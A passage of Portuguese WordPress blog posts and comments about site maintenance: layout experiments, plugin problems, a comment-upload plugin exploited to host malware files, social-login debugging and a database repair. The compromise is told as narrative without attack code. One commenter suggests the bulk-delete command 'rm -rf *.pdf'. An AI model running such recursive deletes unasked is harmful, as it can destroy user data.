Testando um layout em colunas para o blog

Nota: As colunas não aparecem se você estiver visualizando a versão mobile do blog.

16/02/2018: Como não houve manifestações a favor, o layout em colunas foi desativado.

[one_half padding=”0 20px 0 20px”]Como uns poucos talvez lembrem porque participaram da discussão, o blog tem uma largura de 800 pixels para os posts porque

  1. Eu decidi limitar meu layout a algo que pudesse ser visto em monitores de 1024×768, apesar de criar com um monitor de 1920×1080
  2. Permite exibir imagens com um bom tamanho sem ser preciso clicar nelas para dar zoom. Os restantes 224 pixels ficam para as barras laterais do blog;

Porém mesmo tendo me limitado a 800px eu sei que isso criou um problema: as linhas de texto ficaram longas, o que pode dificultar a leitura, principalmente em parágrafos com muitas linhas. Isso não me incomoda realmente mas eu não escrevo no blog para que eu leia. E tudo que atrapalhar meus leitores e eu puder mudar sem criar um incômodo para mim eu estou disposto a fazer.[/one_half]

[one_half padding=”0 20px 0 20px”]Eu instalei o plugin Column Shortcodes e estou experimentando com os resultados. O plugin não formata automaticamente todos os meus posts em colunas até mesmo porque acho que fazer isso automaticamente no tipo de blog que escrevo sem ficar uma bagunça está perto de ser impossível. Então eu estou adicionando a formatação em alguns posts selecionados, principalmente em trechos que parecem uma “parede de texto”. Eu ainda não estou bem certo de que fique melhor em colunas. No momento o único problema é que se a coluna da esquerda tiver mais texto que a coluna da direita o plugin bagunça a exibição do plugin de compartilhamento social (os links na parte inferior de cada post)

O que acham? [/one_half]

9 comentários
  • Paulo - 46 Comentários

    Com coluna fico com vontade de já ler a outra sem ter lido toda a primeira.
    Prefiro texto sequencial.

  • VR5 - 397 Comentários

    Concordo com o Paulo. Sinceramente prefiro o formato sequencial também…

  • Saulo Benigno - 279 Comentários

    Sequencial é bem melhor mesmo. Fica confuso assim.

  • Walter - 140 Comentários

    Mais um que prefere sequencial.

  • Luciano - 493 Comentários

    Também prefiro seqüencial, duas colunas fica com cara de jornal. Uma coisa que eu sinceramente não entendo em quem projeta esses templates de blog, é não deixar a largura semi-elástica.

    Como isso funciona? Define-se na marra ma largura mínima e deixa a máxima ao bel prazer da tela do usuário. O template do meu, é assim, eu o modifiquei pra ficar dessa forma.

    Tem uma pá de templates que define uma largura fixa e dane-se, se você tiver uma tela enooooorme, fica com uma coluninha de texto no meio e bordas dos dois lados.

    • Jefferson - 6.606 Comentários

      Mesmo quando o template é elástico eu configuro para largura fixa. Eu acho que 800 pixels já deixa as linhas longas demais e quero ter uma razoável certeza de que a composição que estou fazendo vai ser a mesma que os leitores vão ver. Eu já fui surpreendido com blogs com layout elástico que ficaram uma bagunça e eu tive que ajustar minha janela de leitura para poder ver do jeito que presumivelmente o autor esperava que eu visse.

      • Luciano - 493 Comentários

        Nesse caso coloca-se um “breque” pra limitar a largura máxima também, vai que o sujeito tem um monitor com 50000 pixels de largura, ficaria uma única linha.

        O que eu falo é isso aqui, no CSS:

        min-width : 700px;
        max-width : 1600px;

        Ou seja, o frame visível não pode ficar menor que 700 pixel ou maior que 1600 pixels.

  • VR5 - 397 Comentários

    Jefferson, desculpe o off-topic, mas falando sobre esse negócio de colunas, ajustes automáticos, etc.: você tem alguma experiência com criação de sites? Contratamos uma empresa nova para criar nosso novo site. O antigo é em PHP mas da forma, digamos, “clássica”, “estática”, e o novo é para ser da forma que chamam de “responsiva” (ele se ajusta automaticamente em computadores, tablets, smartphones, etc.). Mas não estamos satisfeitos com o resultado que as coisas estão tomando. As imagens não se auto-ajustam bem, as tabelas que antes eu criava elas no editos do site tenho que agora criar elas e salvar como imagem para daí inseria nas páginas (senão bagunça a ordem das colunas no auto-ajuste, et.). Sabes algo sobre isso?

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

Comecei a usar códigos QR no blog

Nota: Os QRCodes não aparecem se você estiver visualizando a versão mobile do blog.

Às vezes eu comecei a ler algo no desktop ou notebook e gostaria de continuar a leitura no celular ou tablet.  No meu computador principal e usando o Palemoon/Firefox eu já tenho uma solução para isso na forma de um bookmarklet que quando clicado transforma o URL de qualquer página que eu esteja vendo em um código QR que eu posso “fotografar” com o Barcode Scanner.

Isso foi sugestão de um leitor. Não consigo lembrar quem foi.

Mas às vezes eu estou usando o computador de terceiros ou outro browser e aí deixa de ser tão simples. Esta semana mesmo eu estava fazendo uma pesquisa de um produto no Mercado Livre no computador de um cliente e queria fazer uma pergunta ao vendedor, mas eu não gosto de fornecer credenciais em computadores que eu não controlo por isso queria abrir exatamente o mesmo produto no meu telefone e eu pensei: o ML deveria exibir QR codes dos itens.

E logo em seguida eu pensei que deveria fazer o mesmo no meu blog para facilitar a vida dos leitores.

Existem diversos plugins disponíveis para isso. Alguns tem características que considero reprováveis como conectar com o site do desenvolvedor para gerar o código e outros não sabem reconhecer páginas com múltiplos posts, como a inicial do blog, e assim exibem em cada post o mesmo código. É “um saco” “separar o joio do trigo”.

Após testar vários, no momento me decidi pelo QR Code Widget  que obviamente tem suporte a widgets. Minha opção anterior foi pelo WP Page QR, que só exibe o código em páginas individuais e tem um modo automático, que gera o código mesmo nos meus posts antigos. Nada disso é realmente necessário quando o plugin tem suporte a widgets, já que cada widget só aparece mesmo uma vez por página. Note que o QR Code Widget não ativa (acusa um erro) se você tiver o WP Page QR ativo no mesmo blog.

7 comentários
  • Ricardo Menzer - 143 Comentários

    Boa ideia. Gostei.

  • Jefferson - 6.606 Comentários

    Eu encontrei um pequeno problema  com o plugin que vale a pena ter em mente. Por default o plugin faz um cache de cada imagem produzida para não ter que produzi-la de novo na próxima visita à página. Isso tem o benefício de acelerar o processo e reduzir o consumo de CPU do site, mas eu não sei se isso é significativo e por outro lado o cache cria um problema porque para cada imagem é criado um arquivo PNG e como este blog tem mais de 1600 posts serão mais de 1600 arquivos.

    E meu host, a Hostgator, não faz backup automático da minha conta se eu passar de 100 mil arquivos o que inclui cada mensagem de email de todas as contas em todos os domínios. Meu consumo oscila entre 80mil e 100mil arquivos facilmente por isso eu preciso avaliar se desabilitar o cache (o plugin permite) não seria um mal menor.

    • Jefferson - 6.606 Comentários

      É ainda pior do que eu pensava. Eu só tenho cerca de 1800 posts e hoje tive que apagar o cache com 9200 imagens!

      • Jefferson - 6.606 Comentários

        Hoje eu tive que apagar 13mil imagens! Em um mês! Que doideira é essa do plugin?

        Como eu esquecera de que o plugin tem uma função “apagar cache” eu fui pelo gerenciador de arquivos e apaguei o diretório cache por ser mais rápido do que apagar os 13 mil arquivos. Aí o plugin parou de funcionar reclamando da falta do diretório. Até aí tudo bem, fui na configuração dele e disse que não queria mais o cache. Continuou sem funcionar. Então eu criei uma nova pasta vazia “cache” e o plugin voltou a funcionar.

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

Que lições tirar do comprometimento do meu site que descobri no mês passado?

Essa é fácil. Nem precisa ler o resto do meu texto: backup, backup, backup! De preferência de quantas gerações você puder!

O primeiro a notar o problema foi o amigo Saulo Benigno, que na manhã do dia 12 de outubro me mandou um email avisando que o site estava fora do ar.  Eu havia atualizado o site horas antes por isso achei que fosse um glitch temporário da Hostgator e esperei. Mas como passaram-se horas e o problema persistiu, abri um ticket para o suporte e comecei a dar uma olhada. Como o indicador no cPanel estava dizendo que a Hostgator não faria mais backup automático do site porque eu havia excedido o limite de inodes (o número de arquivos), aproveitei para fazer uma arrumação. Foi aí que eu descobri que a coisa era séria!

Graças à ferramenta do cPanel que mostra um gráfico de uso do espaço em disco, eu localizei um diretório que tinha setenta e dois mil PDFs, nenhum deles colocado por mim. Todos com nomes suspeitíssimos. Olhando em outros diretórios comecei a achar arquivos txt com bravatas hacker do tipo “pwned” e “defaced by”, mais um punhado de arquivos que eu não havia colocado lá. A julgar pelos textos, eu tinha sido “hackeado” por uma cacetada de grupos de toda parte. Tinha russos, chineses, brasileiros…

Comecei a entrar em pânico. Não demorou para notar que o número de PDFs estava crescendo enquanto eu olhava. Eu estava sob ataque naquele momento! Desativei o site, enviei outro ticket para o suporte explicando o que eu havia achado e comecei a avaliar os danos.

Primeiro, não achei nenhum arquivo PHP obviamente infectado, nem indícios de comprometimento fora de Quick Talk. Depois comecei a notar um padrão estranho: nenhum arquivo depositado no site era do tipo executável. Só existiam arquivos TXT, PDF, ZIP (com vírus dentro), BMP, JPG… Alguns desses arquivos não eram válidos. Eram na verdade arquivos PHP com outra extensão que o invasor havia depositado ali na esperança de gatilhar uma vulnerabilidade. Mas como eles entraram?

Mais um pouco e percebi outro padrão: Os arquivos estranhos estavam limitados à pasta “uploads” da instalação wordpress de Quick Talk. Mas quem tinha permissão de upload além de mim?

Ahhhh… o mundo inteiro!

Eu percebi que os tipos de arquivo que estava encontrando batiam com a lista de arquivos “inócuos” que permiti aos leitores anexar em seus comentários. Algum dos plugins tinha uma vulnerabilidade que permitia que arquivos pudessem ser mandados para o meu site sem que nenhum comentário fosse produzido, daí eu não notei o problema.

Infelizmente tive que desabilitar esses plugins que instalei em 2012:

  • Easy Comment Uploads <- provavelmente foi por este. Sequer pode ser encontrado hoje no repositório da WordPress;
  • Comment Image Embedder <-Este caiu porque, pensando bem, também oferece risco.

O que deu trabalho mesmo foi apagar os 72 mil PDFs. Um gerenciador de arquivos do cPanel não conseguia lidar com tantos e travava. O outro não me permitia ordenar por tipo e eu corria o risco de apagar outros arquivos no meio. Sem conhecer outro jeito, tive que partir para a demorada e tediosa tarefa de apagar tudo por FTP. Isso levou horas!

No final o problema do site nada tinha a ver com o comprometimento. Foi pura coincidência a máquina que hospedava meu domínio estar com problemas (segundo o suporte) e por pura coincidência também eu estava olhando isso no momento em que colocavam os PDFs lá. Eram vários GB de arquivos. O meu site estava sendo usado simplesmente como hospedagem de malware e provavelmente estava sendo penalizado no ranking do Google por isso, embora a Google não tenha me enviado nenhum alerta pelas “ferramentas para webmasters”.

Voltando aos backups: Enquanto eu investigava pensei: “e se eu peguei outro worm como o que atacou o fórum anos atrás* e tiver que desinfectar centenas de arquivos PHP?” Fui procurar os meus backups e…

O último backup integral do site fora um ano atrás! Raios!

Eu tinha backup freqüente de bancos de dados, mas sem backup atualizado de arquivos combater um worm php ia realmente estragar minha semana!

Aprenda com meus erros! Você já fez backup do seu site esta semana? É Sturaro, estou olhando para você! :)

*Isso aconteceu em maio de 2009. Curiosamente não consigo encontrar nenhuma referência a essa invasão em parte alguma, nem procurando no Google nem nas minhas anotações. Na época diversos fóruns baseados em SMF foram invadidos devido a um 0-day e o exploit era baseado em fazer o upload de uma imagem corrompida como avatar. A partir daí um worm obfuscado adicionava a si mesmo em todos os arquivos php que encontrava na conta, o que incluía todo e qualquer domínio hospedado nela. O exploit foi informalmente chamado de “Krisbarteo” por mim porque era o nome de usuário usado na invasão.

9 comentários
  • Luciano - 493 Comentários

    Nem precisa olhar torto pra mim, minha paranóia é um pouco menor, mas não muito… Backup do mysql toda santa vez que publico um post, entro no myphp admin e desço o DB.

    Backup dos arquivos do site, toda santa vez ANTES de atualizar qualquer porcaria que seja, plugin, wordpress, etc.

    Resultado? Sempre tenho pelo menos as últimas 5 cópias do DB e não apago por nada desse mundo as cópias do wordpress e arquivos. Olha só:

    wordpress 2.9.2
    wordpress 3.0
    wordpress 3.1.3
    wordpress 3.2
    wordpress 3.3
    wordpress 3.3.1
    wordpress 3.3.2
    wordpress 3.4.2
    wordpress 3.5.1
    wordpress 3.7
    wordpress 3.7.1
    wordpress 3.9.2
    wordpress 4.0.5
    wordpress 4.2
    wordPress 4.2.5

    Dentro de cada pasta tem o backup do que foi atualizado dentro da própria versão. Se atualizarei um plugin, eu baixo o pluguin antes de atualizar e guardo dentro da pasta da versão em uso do WP.

    crashcomputer_db.27-jun-2015.zip
    crashcomputer_db.04-jul-2015.zip
    crashcomputer_db.31-ago-2015.zip
    crashcomputer_db.18-set-2015.zip
    crashcomputer_db.01-out-2015.zip
    crashcomputer_db.05-nov-2015.zip

    Além disso, toda imagem que envio pro blog, eu tenho cópia local, já que elas ficam em um lugar não padrão do wordpress.

    Como eu não fico fazendo backup constante do db, o máximo que eu posso perder seriam comentários e avaliações feitas no intervalo.

    Dá pro gasto ou mais alguma recomendação pra aumentar o nível de paranoia? :-P

  • Jefferson - 6.606 Comentários

    Um esclarecimento: eu não mencionei Luciano por ele ter um histórico de displicência. Ele definitivamente não tem. Eu o mencionei porque ele é quem mais participa das discussões quando o assunto é manutenção de sites e vem participando delas desde o Geringonças.

    • Luciano - 493 Comentários

      Vamos então dizer que aprendemos um com o outro, literalmente troca de experiências. Lembra do limit login attempts? Pois é… vou colocar mais um comentário lá.

  • Saulo Benigno - 279 Comentários

    Feliz que tenha sido resolvido.

    Mas backup manualmente é bronca consigo não, hoje tenho um script que meu amigo Arthur criou que todo dia roda em Cron e compacta meus sites e faz um backup por Dropbox… todo dia recebo uma notificação que foi criado o arquivo e enviado com sucesso para o Dropbox.

    Mas manualmente não dá :P
    No máximo é uma vez por mês ir apagar os arquivos para dar espaço no Dropbox, todo mês lota.
    Eu preciso é editar o script para apagar automaticamente o arquivo mais antigo diariamente.

  • Jefferson - 6.606 Comentários

    Outra coincidência curiosa. Enquanto eu perdi esse dia 12 de outubro todo revertendo o dano ao site, foi exatamente no dia 12 de outubro de 2008 que eu levei o golpe daquele file infector.

  • Ygor Almeida - 136 Comentários

    … Não podia deixar a pergunta pra lá.

    Na hostgator vocë não tem SSH? eu estou lá e tenho. Poderia ter entrado no diretório e ( rm -rf *.pdf )

    :dashhead1: :huh:

    Não funcionaria não !?

    • Jefferson - 6.606 Comentários

      Ygor,

      Eu nem sabia que podia usar SSH. Isso não está evidente no cPanel e desde que os provedores de hospedagem pararam de oferecer acesso Telnet eras atrás eu passei a ter a falta de acesso shell como algo normal.

      E para completar, eu expliquei ao suporte o que tive que fazer e eles não mencionaram SSH.
      :dashhead1:

  • Jefferson - 6.606 Comentários

    Existe algo curioso com o mês de outubro (além de ser o “mês das bruxas”)…

    Hoje recebi uma mensagem do sistema de backup informando que o backup não podia ser feito por eu ter ultrapassado o número de inodes. Então parei para fazer manutenção no site novamente. Coisa que aparentemente eu não fiz em todo o último ano…

    Não há nenhum indício óbvio de comprometimento. Apenas um número exagerado de emails se acumulando mas contas de um cliente. Mas é estranho que na semana passada o backup tenha ocorrido sem erros e agora tenha falhado por um excesso de 3 mil inodes. A menos que meus clientes tenham recebido isso tudo de SPAM na última semana, deve haver algo errado em algum outro lugar.

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Investigando o problema do plugin Social Connect.

Investigando o problema do plugin Social Connect.

Eu configurei um blog de teste e o plugin falha no teste de Mod Rewrite, que usa esse URL:
https://ryan.com.br/blogseven/wp-content/plugins/social-connect/diagnostics/test.php?testing=http://www.example.com

Do jeito que está, dá FORBIDDEN

Então eu notei que sem o parâmetro não dava erro:
https://ryan.com.br/blogseven/wp-content/plugins/social-connect/diagnostics/test.php?

Após algumas experiências eu descobri que o problema é o fato do parâmetro ser um URL!

Após uma rápida busca no Google, encontrei uma explicação:

http://stackoverflow.com/questions/1089744/403-forbidden-on-php-page-called-with-url-encoded-in-a-get-parameter

"It is mod_security's 10_asl_rules.conf causing this error."

Agora resta descobrir como contornar o problema em "mod_security"

10 comentários
  • Jefferson - 6.606 Comentários

    Para tentar comprovar a causa do problema, tentei desabilitar mod_security usndo essas instruções:

    http://www.liewcf.com/how-to-disable-mod_security-in-htaccess-file-3631/

    Mas não funcionou. Qualquer tentativa de incluir isso em um arquivo .htaccess no meu domínio gera um erro "500 Internal Server Error". Provavelmente é uma medida de segurança do meu host.

    Submeti um ticket ao suporte pedindo ajuda. Eles responderam minutos depois dizendo que podem "whitelist this rule" mas pediram os quatro últimos dígitos do meu cartão de crédito para confirmar minha identidade. Respondi e estou aguardando a solução.

  • Jefferson - 6.606 Comentários

    Problema resolvido. Já posso fazer login e comentar no meu blog de teste usando minha conta Google.

    Se alguém quiser experimentar, acesse este blog:
    https://ryan.com.br/blogseven/

    Escolha um post qualquer e tente fazer um comentário. Em vez de digitar credenciais, clique no ícone da Google abaixo do formulário. Então você poderá fazer o logon através de sua conta Google.

  • Jefferson - 6.606 Comentários

    Uma característica inesperada, mas interessante do plugin Social Connect é que ao fazer logon no meu blog usando suas credenciais Google você ganha um perfil no blog também, podendo alterar seu avatar e username, entre outras coisas.

  • Olá Ryan… boa noite…
    Deixei um comentário lá no blog de teste… e sobre o profile, a partir de uma conta do google, é criado um perfil, me tira uma dúvida, depois de criado o perfil, este é desvinculado da conta google ?
    Grande abraço,

  • Jefferson - 6.606 Comentários

    Andre,

    Já aprovei seu comentario.

    "depois de criado o perfil, este é desvinculado da conta google ? "

    Eu não sei se entendi sua pergunta mas, que eu saiba, é algo completamente independente. A única "ligação" que eu conheço é que a Google sabe que você fez login no meu blog usando sua conta. E tem um ícone mostrando que você fez login usando uma conta Google.

    Porém, por exemplo, eu não creio que se você deletar sua conta Google seus comentários desaparecerão do meu blog.

    E também não sei se meu blog vai aparecer na sua lista de "sites conectados".

    É a primeira vez que experimento a autenticação desse tipo e estou aprendendo ainda.

  • usando esses sistemas de openid, o google retorna um token para identificar o usuário…

    Para o seu site o token é o usuário…

    O site vai sempre aparecer no "Autorizar aplicativos e sites"… Mas o token não muda mesmo se revogar a autorização…

    Tem muitas literatura sobre isso, já vi exemplo de locais em que o site pede para o usuário escrever o email, ai ele identifica qual serviço openid utilizar…

  • Jefferson - 6.606 Comentários

    Testando outros temas constatei que a presença do ícone mostrando que você autenticou pelo Google depende do tema. Funcionou no default apenas.

    E eu gostaria que houvesse um link para o perfil do usuário, quando existir um. Não sei ainda como ativar isso.

  • Jefferson - 6.606 Comentários

    O login pelo yahoo funcionou, mas a pessoa precisa editar o perfil no blog antes de comentar, porque o nickname que o yahoo entrega é algo impronunciável do tipo "sc_5d5fcbd9352827ba0e61e74f665fbee8"

  • Jefferson - 6.606 Comentários

    Implementei o login pelo Facebook. Inicialmente não deu certo, pois usando o IE8 dava erro HTTP400 e usando o Firefox eu via uma página em branco com a mensagem:

    {
    "error": {
    "type": "OAuthException",
    "message": "Invalid redirect_uri: A URL informada nu00e3o u00e9 permitida pela configurau00e7u00e3o do aplicativo."
    }
    }

    Encontrei a solução aqui:
    http://wordpress.org/support/topic/plugin-social-connect-facebook-connect-error?replies=8

    Defini https://ryan.com.br/blogseven/ como URL da aplicação e o login funcionou normalmente.

    Em resumo, meu blog de teste já permite login por

    Facebook
    Google
    Yahoo

  • Jefferson - 6.606 Comentários

    Até agora estava usando a versão 0.7. Fiz update para a 0.9

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Procurando métodos para ampliar as opções de login no blog

Um dos requerimentos que eu defini para poder transferir meu blog principal para o WordPress e que me faz adiar isso até hoje é a necessidade de permitir que as pessoas se identifiquem usando contas que elas já tem em serviços populares como o Google e o Yahoo. No Geringonças e Gambiarras, por estar hospedado em um serviço pertencente ao Google, a autenticação com sua conta Google (criada por você estar cadastrado no gmail, orkut, etc) é praticamente automática. Eu sempre gostei dessa facilidade.

Não gosto de comentários 100% anônimos, mas também não me agrada a idéia de obrigar as pessoas a se cadastrarem no meu site. Isso pode parecer estranho em um mundo em que todo dia você encontra alguém querendo montar sua própria rede social e dificulta o acesso a informações obrigando-o a se cadastrar neste ou naquele serviço. Mas meu interesse nunca foi esse. Meu objetivo primário sempre foi partilhar conhecimento, de preferência numa via de mão dupla, e criar uma base de conhecimento sólida que devolva à internet tudo o que já aprendi com ela.

Voltando ao assunto dos requerimentos, no ano passado eu encontrei um plugin que permitia o logon fácil no wordpress usando Google e Yahoo (entre outros): O RPX (agora chamado Janrain Engage):

http://wordpress.org/extend/plugins/rpx/

Essa autenticação é muito simples. Se você já estiver logado no Google (por exemplo) o sistema de autenticação apenas pergunta se você deseja informar o endereço de e-mail da sua conta.

Mas um detalhe me desagradou. A autenticação era feita no servidor da Janrain e era para ele que a pessoa iria dizer o e-mail. Na época, após pesquisar muito, eu cheguei à conclusão que para fazer isso no meu site eu precisaria ter IP fixo e certificado SSL para poder fazer uma conexão HTTPS com o servidor da Google. E que então era por isso que a autenticação precisava ser feita no servidor da Janrain. Mesmo assim continuei não gostando e achei que seria melhor eu comprar meu próprio certificado SSL.

Hoje eu encontrei um plugin que faz a mesma coisa que o RPX, sem ter esse problema, o Social Connect:

http://wordpress.org/extend/plugins/social-connect/

Parece muito promissor, mas ainda tem bugs demais e o suporte é praticamente inexistente. O login quase funciona. A Google chega ao ponto de perguntar se quero partilhar o endereço de e-mail com “ryan.com.br“, mas ao voltar para o meu site dá um erro “Forbidden Access”. No fórum do autor várias outras pessoas reclamam a mesma coisa, sem resposta.

Então eu continuo procurando soluções para esse problema.

20 comentários
  • Jefferson,

    Será que não é o caso de pegar o "queridinho" do momento, o Facebook, que tem plugins de autenticação e APIs para isso?

    https://www.facebook.com/help/new/?faq=17530&hloc=pt_BR

  • Jefferson - 6.606 Comentários

    Eu sou capaz de apostar que nem metade dos meus seguidores tem, nem querem ter, conta no Facebook. Mas é só um palpite. :)

    E a Google também tem uma API pública para isso. Acredito que a dificuldade seja a mesma. Eu é que não tenho o conhecimento necessário para criar meu próprio plugin.

  • Jefferson - 6.606 Comentários

    Para a Google isso se chama "Federated Login":
    http://code.google.com/intl/pt-BR/apis/accounts/docs/OpenID.html

  • OpenID é a alternativa mais simples…

    Quano ao google, tem até o bendito do Google Friend Connect. Mas eles não deram a devida atenção para a coisa… Quanto ao Facebook, tem crescido muito a utilização neste país de analfabetos do orkut. Quanto a usar um ou outro, tem um gráfico interessante de 2010 sobre este tipo de escolha, no caso para WPMU:

    http://wpmu.org/how-to-add-login-with-google-friend-connect-to-your-wordpress-site/

    Mas enfim, tudo é questão de escolha…

  • Jefferson - 6.606 Comentários

    Marcel,

    O OpenID "puro" é muito hostil. Uma idéia boa com implementação ruim. Eu mesmo tenho um OpenID há anos e nunca lembro qual é. Tentei implementar no meu fórum e nunca funcionou, etc.

    O que esses autenticadores que eu busco fazem é OpenID, mas colocam uma camada por cima que acaba com a hostilidade da implementação básica.

    E eu tentei usar o Google Friend Connect e desisti por alguma razão que não me recordo agora qual é…

  • Jefferson - 6.606 Comentários

    E esqueci de dizer que o Social Connect também oferece autenticação via Facebook.

  • Jefferson - 6.606 Comentários

    Assim como o Janrain Engage…

  • Jefferson - 6.606 Comentários

    Testei o serviço oferecido pela Gigya:

    http://wordpress.org/extend/plugins/gigya-socialize-for-wordpress/

    E ele tem o mesmo problema do Janrain. E me parece ainda menos confiável.

  • Jefferson, eu ainda estou tentando entender qual é o ponto que você não gostou no Janrain. O acesso ao Janrain é feito por https, veja:

    http://www.caetano.eng.br/crashcomputer/temp/rpx.jpg

    Ou você se refere ao tráfego entre o form do blog para o janrain que não é seguro?

    Como te disse lá no blog, eu passei a usa-lo logo que migrei para o wordpress e até agora não tive problemas. Eu conheci este plugin no meiobit e passei a usar.

    Sobre o erro do Social Connect, quando eu o testei, o problema era exatamente este, o google perguntava se eu permitia o compartilhamento e pluft… erro. O suporte não ajudou em nada e pelo visto mesmo mais de um ano depois ainda não consertaram o bug.

    Mas o janrain também faz o google perguntar se eu permito o acesso, veja só:

    http://www.caetano.eng.br/crashcomputer/temp/rpx1.jpg

    "Crashcomputer.rpxnow.com is asking for some information from your Google Account. To see and approve the request, sign in. Learn more"

    Como eu já lhe disse, me parece bem confiável.

  • Jefferson - 6.606 Comentários

    Luciano, o problema é justamente este:

    "Crashcomputer.*rpxnow.com* is asking for some information from your Google Account. "

    Apesar de você estar configurado como um host de rpxnow.com, ainda é rpxnow.com que intermedia a informação. Depois que 300 seguidores seus fizerem logon através do Janrain, a empresa terá o e-mail dos seus 300 seguidores.

    Edit: No caso do Login pela Google, terá nome e e-mail.

    E como o plugin Social Connect demonstra, isso não é necessário, pois quem pede a informação é o meu domínio. Então para que Janrain quer intermediar essa informação?

  • Facebook, eu tenho por motivos de trabalho, mas nao uso. Está vazio. Mesmo.

  • Pois sou um dos que sequer tem Facebook.

  • No final, todo mundo acabará entrando no Facebook. Eu tenho conta lá e uso frequentemente.

  • Ryan, já cogitou usar o Comments Box do Facebook como sistema de comments para o blog?
    http://developers.facebook.com/docs/reference/plugins/comments/
    http://developers.facebook.com/blog/post/472

    Tenho visto cada vez mais sites usando este sistema, eu eu pessoalmente gosto muito dele, acho ele clean, rápido e intuitivo. É muito fácil acompanhar um discussão nele e separar comentários relevantes dos inúteis.

  • Eu estou procurando um plugin desses justamente agora. Só o Facebook não serve para o meu caso. Gostaria de um que possa fazer interagir entre si o maior número de redes. Parece que não há consenso ainda, mas qual seria o mais completo?

  • Ricardo Menzer - 143 Comentários

    "No final, todo mundo acabará entrando no Facebook."
    Minha namorada insistiu tanto pra eu fazer uma conta lá. Não fiz. E não tenho perspectiva nenhuma de fazer.

    Então sou mais um contra a necessidade de facebook pra "seguir" o Jefferson!

  • Jefferson - 6.606 Comentários

    Ricardo Menzer,

    Então sou mais um contra a necessidade de facebook pra "seguir" o Jefferson!

    Eles não estão sugerindo como uma "necessidade", mas como uma alternativa ao login pelo Google. Porém eu não acredito que seja uma alternativa mais popular entre meus seguidores porque, a menos que eu esteja muito enganado, 100% dos meus seguidores tem conta Google (não é um requerimento para seguir o Buzz?).

    Eu só quero tornar a migração menos incômoda para todos.

    De qualquer jeito o novo blog terá uma alternativa para comentar sem depender de Google, Facebook ou o que quer que seja (de terceiros).

  • Não sei se o Facebook seria a ferramenta ideal para o Ryan, mas ele é fantástico para todo o resto. Quem não tem, que faço o seu !

  • Não sei se estou falando abobrinha, mas gravatar não é pra autenticar também?

    Sobre Facebook… eu tinha orkut e era bom. Mas depois perdeu a graça. Eu tinha facebool e ontem decidi que parei de atualizar. Depois aumenta muito a base de usuários, fica mais normal ver abobrinhas e besteirois… não que eu ache que isso seja o mais adequado, mas ainda acho que a ferramenta fórum é bastante adequada.

  • Jefferson - 6.606 Comentários

    Gravatar,que eu saiba,só serve para pegar o avatar, baseado no endereço de e-mail fornecido pelo usuário. Se eu souber o endereço de e-mail de outra pessoa que tem conta no Gravatar, basta colocar esse endereço no formulário de comentários para usar o avatar dessa pessoa.

    Logo, Gravatar é inútil para autenticação.

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Corrupção do banco de dados do blog.

Levei um baita susto na primeira hora desta madrugada. Um visitante do site deixou um comentário em uma de minhas páginas dizendo que não conseguia ver o link do download e quando fui checar descobri que todos os downloads do site havia perdido os links. Fui confirmar com o plugin que uso para gerenciar isso, o wp-filebase, e todos os 120 downloads registrados havia sumido.

Os arquivos continuavam no site. Era o banco de dados que havia perdido todo o “rastro” de cada arquivo. Parece coisa à toa, mas não é. Cada arquivo tem um ID, que por sua vez está conectado a um post específico, fora informações como descrição, autoria, etc. Eu ia levar dias para consertar isso e ainda havia informação que eu nunca iria recuperar: o número de downloads de cada arquivo.

Então eu pensei: “isso deve ter acontecido no último dia 27, quando o meu site passou a madrugada inteira perdendo contato com o banco de dados. Bastava eu restaurar o backup anterior ao dia 27 para consertar tudo.”

Mas minha surpresa se transformou em horror quando eu descobri que não tinha backup algum. Eu jurava que havia configurado um backup diário do site para a minha conta no gmail. Mas encontrei o backup desligado e nenhum arquivo na conta. Só meus outros backups (fórum e blog Sete Problemas) estavam lá.

Solicitar (e pagar) à hostgator uma recuperação do backup automático deles seria uma loteria, porque eu não tinha certeza de que o problema tinha mesmo começado no dia 27. E eles só mantém uma geração de backup, com no máximo uma semana.

Para a minha sorte, ainda havia uma esperança. Fui até o cPanel e rodei o “Repair Database”, que encontrou o problema e corrigiu.

É óbvio que agora ativei o backup do site e vou me certificar de que está funcionando. Preciso agendar também para a cada X semanas conferir se continua funcionando. Pior que não ter backup é acreditar que tem, sem ter, porque você acaba agindo de maneira irresponsável pensando: “se der m**da eu recupero fácil”.

1 comentário
Clique para comentar
